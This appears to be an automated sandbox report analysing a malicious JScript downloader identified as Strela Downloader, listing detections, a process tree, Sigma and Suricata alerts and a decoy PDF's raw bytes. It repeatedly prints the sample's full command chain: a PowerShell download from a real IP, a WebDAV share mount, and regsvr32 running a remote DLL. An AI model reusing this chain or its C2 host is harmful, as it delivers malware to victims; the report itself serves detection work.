Edit tour

Windows Analysis Report
15226731132828820.js

Overview

General Information

Sample name:	15226731132828820.js
Analysis ID:	1588369
MD5:	2fa941d1eeae0bb753f1a06a9ebeba18
SHA1:	7930536266adc36a348a9083399dd0859bc3c1fc
SHA256:	f6f4553482e98fd4935fa947bcfaca33c18e1ebedf3c29d27beb3f765009f490
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6220 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6676 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4024 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7760 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1752,i,13390201100332667822,13189878363772357830,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7352 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7456 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7628 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6220	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6676, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4024, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6676, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4024, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ProcessId: 6220, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7456, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 6676, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 6676, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 6676, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 6676, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 6676, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 6676, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ProcessId: 6220, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6676, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4024, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7456, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7628, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7456, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 6676, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:29:06.346102+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:29:08.836244+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:29:06.346102+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 15226731132828820.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 15226731132828820.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 15226731132828820.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:29:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 